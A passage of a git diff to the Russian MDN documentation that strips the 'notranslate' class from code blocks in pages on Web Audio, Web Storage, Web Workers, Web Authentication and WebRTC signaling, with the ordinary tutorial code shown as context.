aliceChange.currentTime; @@ -325,7 +325,7 @@ drinking.pause();</pre> <p>Здесь мы устанавливаем колбэк для бутылки, кекса и Алисы, чтобы запустить функцию endGame.</p> -<pre class="brush: js notranslate">// When the cake or runs out... +<pre class="brush: js">// When the cake or runs out... nommingCake.onfinish = endGame; drinking.onfinish = endGame; diff --git a/files/ru/web/api/web_audio_api/index.html b/files/ru/web/api/web_audio_api/index.html index c79d753428..39b8c5436e 100644 --- a/files/ru/web/api/web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/index.html @@ -204,7 +204,7 @@ translation_of: Web/API/Web_Audio_API <p>The Web Audio API lines are highlighted; if you want to find more out about what the different methods, etc. do, have a search around the reference pages.</p> -<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151] notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context +<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151]">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context // Webkit/blink browsers need prefix, Safari won't work without window. var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options diff --git a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html index 5e035e4eb5..bc81da1a4b 100644 --- a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html @@ -15,13 +15,13 @@ translation_of: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API <p>Чтобы извлечь данные из вашего источника звука, вам понадобится {{ domxref("AnalyserNode") }}, созданный при помощи метода {{ domxref("AudioContext.createAnalyser()") }}, например:</p> -<pre class="brush: js notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); +<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); </pre> <p>Затем этот узел подключается к вашему источнику звука где-то между получением звука и его обработкой, например:</p> -<pre class="brush: js notranslate">source = audioCtx.createMediaStreamSource(stream); +<pre class="brush: js">source = audioCtx.createMediaStreamSource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(audioCtx.destination);</pre> @@ -42,13 +42,13 @@ distortion.connect(audioCtx.destination);</pre> <p>Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведём для данного размера fft.</p> -<pre class="brush: js notranslate">analyser.fftSize = 2048; +<pre class="brush: js">analyser.fftSize = 2048; var bufferLength = analyser.frequencyBinCount; var dataArray = new Uint8Array(bufferLength);</pre> <p>Чтобы собрать данные и копировать их в массив, мы вызываем подходящий метод сбора данных, с массивом в качестве аргумента. Например:</p> -<pre class="brush: js notranslate">analyser.getByteTimeDomainData(dataArray);</pre> +<pre class="brush: js">analyser.getByteTimeDomainData(dataArray);</pre> <p>Теперь в массиве хранятся данные, описывающие звук в данный момент времени, и мы можем визуализировать их любым удобным образом, например с помощью холста HTML5: {{ htmlelement("canvas") }}.</p> @@ -58,46 +58,46 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Чтобы визуализировать осциллограф (спасибо <a href="http://soledadpenades.com/">Soledad Penadés</a> за код в <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L123-L167">Voice-change-O-matic</a>), мы сначала следуем шаблону, описанному в предыдущей секции, для создания буфера:</p> -<pre class="brush: js notranslate">analyser.fftSize = 2048; +<pre class="brush: js">analyser.fftSize = 2048; var bufferLength = analyser.frequencyBinCount; var dataArray = new Uint8Array(bufferLength);</pre> <p>Затем, мы очищаем холст:</p> -<pre class="brush: js notranslate">canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre> +<pre class="brush: js">canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre> <p>И определяем функцию <code>draw()</code>:</p> -<pre class="brush: js notranslate">function draw() {</pre> +<pre class="brush: js">function draw() {</pre> <p>Здесь мы используем <code>requestAnimationFrame()</code> чтобы многократно вызывать эту функцию:</p> -<pre class="brush: js notranslate"> drawVisual = requestAnimationFrame(draw);</pre> +<pre class="brush: js"> drawVisual = requestAnimationFrame(draw);</pre> <p>Затем мы копируем данные в наш массив:</p> -<pre class="brush: js notranslate"> analyser.getByteTimeDomainData(dataArray);</pre> +<pre class="brush: js"> analyser.getByteTimeDomainData(dataArray);</pre> <p>Устанавливаем заливку холста</p> -<pre class="brush: js notranslate"> canvasCtx.fillStyle = 'rgb(200, 200, 200)'; +<pre class="brush: js"> canvasCtx.fillStyle = 'rgb(200, 200, 200)'; canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);</pre> <p>Затем устанавливаем ширину линий и цвет волны, которую мы хотим нарисовать, и начинаем рисовать путь</p> -<pre class="brush: js notranslate"> canvasCtx.lineWidth = 2; +<pre class="brush: js"> canvasCtx.lineWidth = 2; canvasCtx.strokeStyle = 'rgb(0, 0, 0)'; canvasCtx.beginPath();</pre> <p>Мы определяем ширину каждого отрезка в линии, деля длину холста на длину массива (равную FrequencyBinCount), затем определяем переменную x, задающую позицию, в которую необходимо перенести каждый отрезок.</p> -<pre class="brush: js notranslate"> var sliceWidth = WIDTH * 1.0 / bufferLength; +<pre class="brush: js"> var sliceWidth = WIDTH * 1.0 / bufferLength; var x = 0;</pre> <p>В цикле, мы задаём позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:</p> -<pre class="brush: js notranslate"> for(var i = 0; i < bufferLength; i++) { +<pre class="brush: js"> for(var i = 0; i < bufferLength; i++) { var v = dataArray[i] / 128.0; var y = v * HEIGHT/2; @@ -113,13 +113,13 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Наконец, мы заканчиваем линию в середине правой стороны холста и рисуем, используя установленные цвет и ширину линий:</p> -<pre class="brush: js notranslate"> canvasCtx.lineTo(canvas.width, canvas.height/2); +<pre class="brush: js"> canvasCtx.lineTo(canvas.width, canvas.height/2); canvasCtx.stroke(); };</pre> <p>В конце концов, мы вызываем функцию <code>draw()</code> , запускающую весь процесс:</p> -<pre class="brush: js notranslate"> draw();</pre> +<pre class="brush: js"> draw();</pre> <p>Мы получаем изображение волны, обновляющееся несколько раз в секунду:</p> @@ -131,7 +131,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Сначала мы снова создаём анализатор и массив для данных, затем очищаем холст при помощи <code>clearRect()</code>. Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядеть как столбец, а не как тонкая полоска.</p> -<pre class="brush: js notranslate"> analyser.fftSize = 256; +<pre class="brush: js"> analyser.fftSize = 256; var bufferLength = analyser.frequencyBinCount; console.log(bufferLength); var dataArray = new Uint8Array(bufferLength); @@ -140,7 +140,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Затем мы запускаем функцию <code>draw()</code> и задаём цикл при помощи <code>requestAnimationFrame()</code> таким образом, чтобы в каждом кадре анимации данные обновлялись.</p> -<pre class="brush: js notranslate"> function draw() { +<pre class="brush: js"> function draw() { drawVisual = requestAnimationFrame(draw); analyser.getByteFrequencyData(dataArray); @@ -152,7 +152,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Мы также устанавливаем значение переменных <code>barHeight</code> и <code>x</code> , задающей то, где на холсте должен быть размещён каждый столбец.</p> -<pre class="brush: js notranslate"> var barWidth = (WIDTH / bufferLength) * 2.5; +<pre class="brush: js"> var barWidth = (WIDTH / bufferLength) * 2.5; var barHeight; var x = 0;</pre> @@ -160,7 +160,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Одна переменная, требующая объяснения, - это вертикальный сдвиг, с которым мы рисуем каждый столбец: <code>HEIGHT-barHeight/2</code>. Это делается для того, чтобы столбцы начинались в нижней части холста, а не в верхней, как было бы, если бы вертикальное положение было установлена в 0 0. Поэтому мы каждый раз устанавливаем вертикальное положение в разность высоты холста и <code>barHeight/2</code>, чтобы столбцы начинались где-то между верхом и низом холста и заканчивались снизу.</p> -<pre class="brush: js notranslate"> for(var i = 0; i < bufferLength; i++) { +<pre class="brush: js"> for(var i = 0; i < bufferLength; i++) { barHeight = dataArray[i]/2; canvasCtx.fillStyle = 'rgb(' + (barHeight+100) + ',50,50)'; @@ -172,7 +172,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <p>Снова, мы вызываем функцию draw() в конце кода, чтобы запустить процесс.</p> -<pre class="brush: js notranslate"> draw();</pre> +<pre class="brush: js"> draw();</pre> <p>Этот код даёт нам следующий результат:</p> diff --git a/files/ru/web/api/web_authentication_api/index.html b/files/ru/web/api/web_authentication_api/index.html index 6586d1b01c..026692ad6f 100644 --- a/files/ru/web/api/web_authentication_api/index.html +++ b/files/ru/web/api/web_authentication_api/index.html @@ -111,7 +111,7 @@ translation_of: Web/API/Web_Authentication_API <p> В целях безопасности вызовы Web Authentication API ({{domxref('CredentialsContainer.create','create()')}} и {{domxref('CredentialsContainer.get','get()')}}) отменяются, если браузер теряет фокус до завершения вызова.</p> </div> -<pre class="brush: js notranslate">// sample arguments for registration +<pre class="brush: js">// sample arguments for registration var createCredentialDefaultArgs = { publicKey: { // Relying Party (a.k.a. - Service): diff --git a/files/ru/web/api/web_speech_api/index.html b/files/ru/web/api/web_speech_api/index.html index 97a8fc847a..dd8a96da5a 100644 --- a/files/ru/web/api/web_speech_api/index.html +++ b/files/ru/web/api/web_speech_api/index.html @@ -85,7 +85,7 @@ translation_of: Web/API/Web_Speech_API <p>To use speech recognition in an app, you need to specify the following permissions in your <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p> -<pre class="brush: json notranslate">"permissions": { +<pre class="brush: json">"permissions": { "audio-capture" : { "description" : "Audio capture" }, @@ -96,7 +96,7 @@ translation_of: Web/API/Web_Speech_API <p>You also need a privileged app, so you need to include this as well:</p> -<pre class="brush: json notranslate"> "type": "privileged"</pre> +<pre class="brush: json"> "type": "privileged"</pre> <p>Speech synthesis needs no permissions to be set.</p> diff --git a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html index c7f7606ae6..c200447752 100644 --- a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html +++ b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html @@ -37,7 +37,7 @@ localStorage.setItem('colorSetting', '#a4509b'); <p>Функция, которая проверяет браузеры на поддержку и доступность localStorage:</p> -<pre class="brush: js notranslate">function storageAvailable(type) { +<pre class="brush: js">function storageAvailable(type) { try { var storage = window[type], x = '__storage_test__'; @@ -52,7 +52,7 @@ localStorage.setItem('colorSetting', '#a4509b'); <p>Вот как вы бы могли использовать это:</p> -<pre class="brush: js notranslate">if (storageAvailable('localStorage')) { +<pre class="brush: js">if (storageAvailable('localStorage')) { // Yippee! We can use localStorage awesomeness } else { @@ -79,7 +79,7 @@ else { <p>Начнём с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)</p> -<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) { +<pre class="brush: js">if(!localStorage.getItem('bgcolor')) { populateStorage(); } else { setStyles(); @@ -93,7 +93,7 @@ else { <p>Как было отмечено выше, значения хранилища могут быть извлечены используя {{domxref("Storage.getItem()")}}. В качестве аргумента функция принимает значение ключа элемента хранилища, а возвращает значение этого элемента. Например:</p> -<pre class="brush: js notranslate">function setStyles() { +<pre class="brush: js">function setStyles() { var currentColor = localStorage.getItem('bgcolor'); var currentFont = localStorage.getItem('font'); var currentImage = localStorage.getItem('image'); @@ -113,7 +113,7 @@ else { <p>{{domxref("Storage.setItem()")}} is used both to create new data items, and (if the data item already exists) update existing values. This takes two arguments — the key of the data item to create/modify, and the value to store in it.</p> -<pre class="brush: js notranslate">function populateStorage() { +<pre class="brush: js">function populateStorage() { localStorage.setItem('bgcolor', document.getElementById('bgcolor').value); localStorage.setItem('font', document.getElementById('font').value); localStorage.setItem('image', document.getElementById('image').value); @@ -125,7 +125,7 @@ else { <p>We've also included an <code>onchange</code> handler on each form element, so that the data and styling is updated whenever a form value is changed:</p> -<pre class="brush: js notranslate">bgcolorForm.onchange = populateStorage; +<pre class="brush: js">bgcolorForm.onchange = populateStorage; fontForm.onchange = populateStorage; imageForm.onchange = populateStorage;</pre> @@ -135,7 +135,7 @@ imageForm.onchange = populateStorage;</pre> <p>On the events page (see <a href="https://github.com/mdn/web-storage-demo/blob/gh-pages/event.js">events.js</a>) the only JavaScript is as follows:</p> -<pre class="brush: js notranslate">window.addEventListener('storage', function(e) { +<pre class="brush: js">window.addEventListener('storage', function(e) { document.querySelector('.my-key').textContent = e.key; document.querySelector('.my-old').textContent = e.oldValue; document.querySelector('.my-new').textContent = e.newValue; diff --git a/files/ru/web/api/web_workers_api/using_web_workers/index.html b/files/ru/web/api/web_workers_api/using_web_workers/index.html index c0eae11fe9..e0af292e16 100644 --- a/files/ru/web/api/web_workers_api/using_web_workers/index.html +++ b/files/ru/web/api/web_workers_api/using_web_workers/index.html @@ -37,7 +37,7 @@ original_slug: DOM/Using_web_workers <p>Для большего контроля над ошибками и обратной совместимости, рекомендуется обернуть ваш код доступа к worker-у в следующий (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p> -<pre class="brush: js notranslate">if (window.Worker) { +<pre class="brush: js">if (window.Worker) { ... @@ -48,7 +48,7 @@ original_slug: DOM/Using_web_workers <p>Создание нового worker-а — это легко. Всё что вам нужно это вызвать конструктор {{domxref("Worker.Worker", "Worker()")}}, указав URI скрипта для выполнения в потоке worker-а (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p> <div style="overflow: hidden;"> -<pre class="brush: js notranslate">var myWorker = new Worker("worker.js"); +<pre class="brush: js">var myWorker = new Worker("worker.js"); </pre> </div> @@ -56,7 +56,7 @@ original_slug: DOM/Using_web_workers <p>Магия worker-ов происходит через {{domxref("Worker.postMessage", "postMessage()")}} метод и обработчик событий {{domxref("Worker.onmessage", "onmessage")}}. Когда вы хотите отправить сообщение в worker, вы доставляете сообщение к нему вот так (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p> -<pre class="brush: js notranslate">first.onchange = function() { +<pre class="brush: js">first.onchange = function() { myWorker.postMessage([first.value,second.value]); console.log('Message posted to worker'); } @@ -70,7 +70,7 @@ second.onchange = function() { <p>Внутри worker-a мы можем обрабатывать сообщения и отвечать на них при помощи добавления обработчика события <code>onmessage</code> подобным образом (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js">worker.js</a>):</p> -<pre class="brush: js notranslate">onmessage = function(e) { +<pre class="brush: js">onmessage = function(e) { console.log('Message received from main script'); var workerResult = 'Result: ' + (e.data[0] * e.data[1]); console.log('Posting message back to main script'); @@ -81,7 +81,7 @@ second.onchange = function() { <p>Возвращаясь в основной поток, мы используем <code>onmessage</code> снова, чтобы отреагировать на сообщение, отправленное нам назад из worker-а:</p> -<pre class="brush: js notranslate">myWorker.onmessage = function(e) { +<pre class="brush: js">myWorker.onmessage = function(e) { result.textContent = e.data; console.log('Message received from worker'); }</pre> @@ -96,7 +96,7 @@ second.onchange = function() { <p>Прекращение работы worker-а главного потока достигается методом {{domxref("Worker", "terminate")}}:</p> -<pre class="brush: js notranslate">myWorker.terminate();</pre> +<pre class="brush: js">myWorker.terminate();</pre> <p>Поток worker-а немедленно уничтожается.</p> @@ -125,7 +125,7 @@ second.onchange = function() { <p>Worker потоки имеют доступ к глобальной функции, <code>importScripts()</code>, которая позволяет импортировать скрипты с того же домена в их область видимости. Функция принимает ноль и более URI параметров, как список ссылок на ресурсы для импорта; все нижеприведённые примеры верны:</p> -<pre class="brush: js notranslate">importScripts(); /* imports nothing */ +<pre class="brush: js">importScripts(); /* imports nothing */ importScripts('foo.js'); /* imports just "foo.js" */ importScripts('foo.js', 'bar.js'); /* imports two scripts */ </pre> @@ -152,7 +152,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p>Запуск разделяемого worker-а очень похож на запуск выделенного worker-а, но используется другой конструктор (см. <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/index.html">index.html</a> и <a href="http://mdn.github.io/simple-shared-worker/index2.html">index2.html</a>) — в каждом документе необходимо поднять worker, для этого следует написать такой код:</p> -<pre class="brush: js notranslate">var myWorker = new SharedWorker("worker.js");</pre> +<pre class="brush: js">var myWorker = new SharedWorker("worker.js");</pre> <p>Большая разница заключается в том, что с разделяемым worker-ом необходимо взаимодействовать через объект <code>port</code> — явно открыв порт, с помощью которого скрипты могут взаимодействовать с worker-ом (в случае выделенного worker-а это происходит неявно).</p> @@ -162,22 +162,22 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p><strong>Примечание: </strong>Когда используется метод <code>start()</code> чтобы открыть соединение с портом, его необходимо вызывать и в родительском потоке и в потоке worker-а, если необходима двухсторонняя коммуникация.</p> </div> -<pre class="brush: js notranslate">myWorker.port.start(); // в родительском потоке</pre> +<pre class="brush: js">myWorker.port.start(); // в родительском потоке</pre> -<pre class="brush: js notranslate">port.start(); // в потоке worker-а, где переменная <code>port</code> является ссылкой на порт</pre> +<pre class="brush: js">port.start(); // в потоке worker-а, где переменная <code>port</code> является ссылкой на порт</pre> <h3 id="Передача_сообщений_виз_разделяемого_worker-а">Передача сообщений в/из разделяемого worker-а</h3> <p>Теперь сообщения могут быть отправлены worker-у, как и прежде, но метод <code>postMessage()</code> должен вызываться из объекта <code>port</code> (ещё раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> -<pre class="brush: js notranslate">squareNumber.onchange = function() { +<pre class="brush: js">squareNumber.onchange = function() { myWorker.port.postMessage([squareNumber.value,squareNumber.value]); console.log('Message posted to worker'); }</pre> <p>Теперь на стороне worker-а. Здесь код немного сложнее (<a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a>):</p> -<pre class="brush: js notranslate">self.addEventListener('connect', function(e) { // требуется addEventListener() +<pre class="brush: js">self.addEventListener('connect', function(e) { // требуется addEventListener() var port = e.ports[0]; port.onmessage = function(e) { var workerResult = 'Result: ' + (e.data[0] * e.data[1]); @@ -194,7 +194,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p>Последний этап — возвращение в основной поток и обработка сообщения от worker‑а (ещё раз, вы можете увидеть схожие конструкции в <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> и <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p> -<pre class="brush: js notranslate">myWorker.port.onmessage = function(e) { +<pre class="brush: js">myWorker.port.onmessage = function(e) { result2.textContent = e.data[0]; console.log('Message received from worker'); }</pre> @@ -213,7 +213,7 @@ importScripts('foo.js', 'bar.js'); /* imports two scripts */ <p>Для иллюстрации этого мы создадим функцию <code>emulateMessage()</code>, которая будет имитировать поведение значения, которое клонируется, но не используется совместно при переходе от worker-а к главной странице или наоборот.</p> -<pre class="brush: js notranslate">function emulateMessage (vVal) { +<pre class="brush: js">function emulateMessage (vVal) { return eval("(" + JSON.stringify(vVal) + ")"); } @@ -255,7 +255,7 @@ alert(emulateMessage(example5).constructor); // Object</pre> <p><strong>example.html</strong>: (главная страница):</p> -<pre class="brush: js notranslate">var myWorker = new Worker("my_task.js"); +<pre class="brush: js">var myWorker = new Worker("my_task.js"); myWorker.onmessage = function (oEvent) { console.log("Worker said : " + oEvent.data); @@ -265,7 +265,7 @@ myWorker.postMessage("ali");</pre> <p><strong>my_task.js</strong> (worker):</p> -<pre class="brush: js notranslate">postMessage("I\'m working before postMessage(\'ali\')."); +<pre class="brush: js">postMessage("I\'m working before postMessage(\'ali\')."); onmessage = function (oEvent) { postMessage("Hi " + oEvent.data); @@ -281,7 +281,7 @@ onmessage = function (oEvent) { <p>В первую очередь мы создаём класс QueryableWorker, который принимает url worker-а, стандартный обработчик событий (defaultListener) и обработчик ошибок. Этот класс будет отслеживать всех обработчиков и поможет нам общаться с воркером.</p> -<pre class="brush: js notranslate"><code>function QueryableWorker(url, defaultListener, onError) { +<pre class="brush: js"><code>function QueryableWorker(url, defaultListener, onError) { var instance = this, worker = new Worker(url), listeners = {}; @@ -302,7 +302,7 @@ onmessage = function (oEvent) { <p>Затем мы добавляем методы добавления/удаления обработчиков.</p> -<pre class="brush: js notranslate"><code>this.addListeners = function(name, listener) { +<pre class="brush: js"><code>this.addListeners = function(name, listener) { listeners[name] = listener; } @@ -313,7 +313,7 @@ this.removeListeners = function(name) { <p>Здесь мы создадим у worker-а два простых события для примера: получение разницы двух чисел и создание оповещения через три секунды. Но сначала нам нужно реализовать метод sendQuery, который проверит есть ли вообще у worker-а обработчик, который мы собираемся вызвать.</p> -<pre class="brush: js notranslate"><code>/* +<pre class="brush: js"><code>/* Эта функция принимает по крайней мере один аргумент: имя метода, который мы хотим вызвать. Далее мы можем передать методу необходимые ему аргументы. */ @@ -331,7 +331,7 @@ this.sendQuery = function() { <p>Завершим QueryableWorker методом <code>onmessage</code>. Если worker имеет соответствующий метод, который мы запросили, он также должен вернуть соответствующий обработчик и аргументы, которые нам нужны. Останется лишь найти его в <code>listeners</code>:</p> -<pre class="brush: js notranslate"><code>worker.onmessage = function(event) { +<pre class="brush: js"><code>worker.onmessage = function(event) { if (event.data instanceof Object && event.data.hasOwnProperty('queryMethodListener') && event.data.hasOwnProperty('queryMethodArguments')) { @@ -344,7 +344,7 @@ this.sendQuery = function() { <p>Теперь к самому worker-у. Сначала следует определить эти два простых метода:</p> -<pre class="brush: js notranslate"><code>var queryableFunctions = { +<pre class="brush: js"><code>var queryableFunctions = { getDifference: function(a, b) { reply('printStuff', a - b); }, @@ -374,7 +374,7 @@ function defaultReply(message) { <p>И <code>onmessage</code>:</p> -<pre class="brush: js notranslate"><code>onmessage = function(event) { +<pre class="brush: js"><code>onmessage = function(event) { if (event.data instanceof Object && event.data.hasOwnProperty('queryMethod') && event.data.hasOwnProperty('queryMethodArguments')) { @@ -389,7 +389,7 @@ function defaultReply(message) { <p><strong>example.html</strong> (основная страница):</p> -<pre class="brush: html notranslate"><code><!doctype html> +<pre class="brush: html"><code><!doctype html> <html> <head> <meta charset="UTF-8" /> @@ -480,7 +480,7 @@ function defaultReply(message) { <p><strong>my_task.js</strong> (код worker-а):</p> -<pre class="brush: js notranslate"><code>var queryableFunctions = { +<pre class="brush: js"><code>var queryableFunctions = { // пример #1: получить разницу между двумя числами getDifference: function(nMinuend, nSubtrahend) { reply('printStuff', nMinuend - nSubtrahend); @@ -518,7 +518,7 @@ onmessage = function(oEvent) { <p>Google Chrome 17+ and Firefox 18+ имеют дополнительную возможность передачи определённых типов объектов (передаваемые объекты реализующие {{domxref("Transferable")}} интерфейс) к или из worker-а с высокой производительностью. Эти объекты передаются из одного контекста в другой без операций копирования, что приводит к значительному повышению производительности при отправке больших наборов данных. Думайте об этом как о передаче по ссылке в мире C/C++. Однако в отличии от передачи по ссылке, "версия" из вызывающего контекста больше недоступна после передачи. Владельцем становится новый контекст. Для примера, после передачи {{domxref("ArrayBuffer")}} из главной страницы к worker-у, исходный {{domxref("ArrayBuffer")}} очищается и более недоступен для использования. Его содержание (в буквальном смысле) переносится в рабочий контекст.</p> -<pre class="brush: js notranslate">// Create a 32MB "file" and fill it. +<pre class="brush: js">// Create a 32MB "file" and fill it. var uInt8Array = new Uint8Array(1024*1024*32); // 32MB for (var i = 0; i < uInt8Array.length; ++i) { uInt8Array[i] = i; @@ -535,7 +535,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <p>Не существует утверждённого способа встроить код worker-а в рамках веб-страницы, как элемент {{HTMLElement("script")}} делает для обычных скриптов. Но элемент {{HTMLElement("script")}}, который не имеет атрибута <code>src</code> и атрибута <code>type</code>, которому не назначен выполняемый MIME type, можно считать блоком данных для использования JavaScript. Блок данных "Data blocks" — это более общее свойство HTML5, может содержать любые текстовые данные. Так, worker может быть встроен следующим образом:</p> -<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>head</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> @@ -591,7 +591,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <div>Также стоит отметить, что вы также можете преобразовать функцию в BLOB-объект, а затем сгенерировать URL объекта из этого BLOB-объекта. Например:</div> -<pre class="notranslate">function fn2workerURL(fn) { +<pre>function fn2workerURL(fn) { var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'}) return URL.createObjectURL(blob) } @@ -609,7 +609,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <p>Следующий код JavaScript хранится в файле "fibonacci.js", на который ссылается HTML в следующем разделе.</p> -<pre class="brush: js notranslate">var results = []; +<pre class="brush: js">var results = []; function resultReceiver(event) { results.push(parseInt(event.data)); @@ -642,7 +642,7 @@ onmessage = function(event) { <h4 id="HTML_код">HTML код</h4> -<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>head</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> diff --git a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html index 73db097039..2dbda88c71 100644 --- a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html +++ b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -33,7 +33,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>First up is the addition of the function <code>sendToOneUser()</code>. As the name suggests, this sends a stringified JSON message to a particular username.</p> -<pre class="brush: js notranslate">function sendToOneUser(target, msgString) { +<pre class="brush: js">function sendToOneUser(target, msgString) { var isUnique = true; var i; @@ -49,7 +49,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>Our original chat demo didn't support sending messages to a specific user. The next task is to update the main WebSocket message handler to support doing so. This involves a change near the end of the <code>"connection"</code> message handler:</p> -<pre class="brush: js notranslate">if (sendToClients) { +<pre class="brush: js">if (sendToClients) { var msgString = JSON.stringify(msg); var i; @@ -163,7 +163,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>The HTML for our client needs a location for video to be presented. This requires video elements, and a button to hang up the call:</p> -<pre class="brush: html notranslate"><div class="flexChild" id="camera-container"> +<pre class="brush: html"><div class="flexChild" id="camera-container"> <div class="camera-box"> <video id="received_video" autoplay></video> <video id="local_video" autoplay muted></video> @@ -187,7 +187,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>Throughout our code, we call <code>sendToServer()</code> in order to send messages to the signaling server. This function uses the <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> connection to do its work:</p> -<pre class="brush: js notranslate">function sendToServer(msg) { +<pre class="brush: js">function sendToServer(msg) { var msgJSON = JSON.stringify(msg); connection.send(msgJSON); @@ -199,7 +199,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>The code which handles the <code>"userlist"</code> message calls <code>handleUserlistMsg()</code>. Here we set up the handler for each connected user in the user list displayed to the left of the chat panel. This function receives a message object whose <code>users</code> property is an array of strings specifying the user names of every connected user.</p> -<pre class="brush: js notranslate">function handleUserlistMsg(msg) { +<pre class="brush: js">function handleUserlistMsg(msg) { var i; var listElem = document.querySelector(".userlistbox"); @@ -230,7 +230,7 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>When the user clicks on a username they want to call, the <code>invite()</code> function is invoked as the event handler for that {{event("click")}} event:</p> -<pre class="brush: js notranslate">var mediaConstraints = { +<pre class="brush: js">var mediaConstraints = { audio: true, // We want an audio track video: true // ...and we want a video track }; @@ -280,7 +280,7 @@ function invite(evt) { <p>If the promise returned by <code>getUserMedia()</code> concludes in a failure, our <code>handleGetUserMediaError()</code> function performs.</p> -<pre class="brush: js notranslate">function handleGetUserMediaError(e) { +<pre class="brush: js">function handleGetUserMediaError(e) { switch(e.name) { case "NotFoundError": alert("Unable to open your call because no camera and/or microphone" + @@ -306,7 +306,7 @@ function invite(evt) { <p>The <code>createPeerConnection()</code> function is used by both the caller and the callee to construct their {{domxref("RTCPeerConnection")}} objects, their respective ends of the WebRTC connection. It's invoked by 